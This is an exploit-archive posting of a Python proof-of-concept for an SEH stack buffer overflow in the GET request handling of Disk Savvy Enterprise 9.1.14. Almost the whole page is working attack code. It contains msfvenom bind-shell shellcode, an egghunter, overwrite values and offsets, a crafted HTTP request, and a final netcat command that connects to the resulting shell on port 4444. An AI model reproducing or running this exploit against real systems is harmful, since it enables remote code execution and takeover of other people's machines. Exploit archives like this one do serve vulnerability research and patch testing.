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Disk Savvy Enterprise 9.1.14 GET Buffer Overflow

Disk Savvy Enterprise 9.1.14 GET Buffer Overflow
Posted Dec 1, 2016
Authored by Victor Portal Gonzalez

Disk Savvy Enterprise version 9.1.14 GET buffer overflow exploit.

tags | exploit, overflow
SHA-256 | f2688ce63f19950f060c749b66895fe6923125bd1652a0af95a6ff3ae97e39dc

Disk Savvy Enterprise 9.1.14 GET Buffer Overflow

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#!/usr/bin/python
import socket,os,time

#SEH Stack Overflow in GET request
#Disk Savvy Enterprise 9.1.14
#Tested on Windows XP SP3 && Windows 7 Professional

host = "192.168.1.20"
port = 80

#badchars \x00\x09\x0a\x0d\x20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00\x09\x0a\x0d\x20" -f python
buf = ""
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"
buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7"
buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51"
buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04"
buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9"
buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23"
buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98"
buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97"
buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5"
buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5"
buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd"
buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b"
buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b"
buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9"
buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90"
buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8"
buf += "\xc4\x25\x3d\xe9"

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a"+
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77"+
"\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7"+
"\xff\xe7")

seh = "\xc0\x42\x11\x10" #pop pop ret [libspp.dll]
nseh = "\xeb\x06\x90\x90" #jmp short +0x8

egg = "w00tw00t"
offset = 551
buffer_size = 5000

crash = "\x41"*10 + egg + "\x90"*2
crash += buf + "\x90"*(offset-20-len(buf))
crash += nseh + seh + "\x90"*8
crash += egghunter + "\x44"*(buffer_size-offset-16-len(egghunter))

request = "GET /" + crash + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request)

s.close()

print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")


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